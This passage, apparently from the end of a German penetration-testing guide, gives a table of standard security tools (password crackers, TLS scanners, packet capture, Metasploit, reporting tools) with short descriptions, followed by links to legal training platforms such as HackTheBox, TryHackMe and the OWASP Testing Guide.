Passwörter hydra Netzwerkdienst-Brute-Force
hashcat GPU-basiertes Passwort-Cracking
john CPU-basiertes Passwort-Cracking
SSL/TLS testssl.sh Umfassende TLS-Analyse
sslyze Python TLS-Scanner
Netzwerk wireshark / tshark Packet-Capture und -Analyse
tcpdump CLI-Packet-Capture
Exploitation metasploit Exploit-Framework
searchsploit ExploitDB lokale Suche
Reporting dradis Kollaboratives Pentest-Management
faraday Tool-Integration und Reporting

Weiterführende Ressourcen

  • HackTheBox (hackthebox.com) – Legale Übungsumgebung mit realistischen Maschinen
  • TryHackMe (tryhackme.com) – Geführte Lernpfade für Anfänger bis Fortgeschrittene
  • OWASP Testing Guide (owasp.org/www-project-web-security-testing-guide) – Umfassende Web-Testing-Methodik
  • PortSwigger Web Security Academy (portswigger.net/web-security) – Kostenloses interaktives Lab zu Burp Suite
  • VulnHub (vulnhub.com) – Kostenlose verwundbare VMs zum Herunterladen
  • PentesterLab (pentesterlab.com) – Strukturierte Übungen von grundlegend bis fortgeschritten
  • Offensive Security (OSCP) (offensive-security.com) – Die Zertifizierung für professionelle Penetrationstester

 

Back to top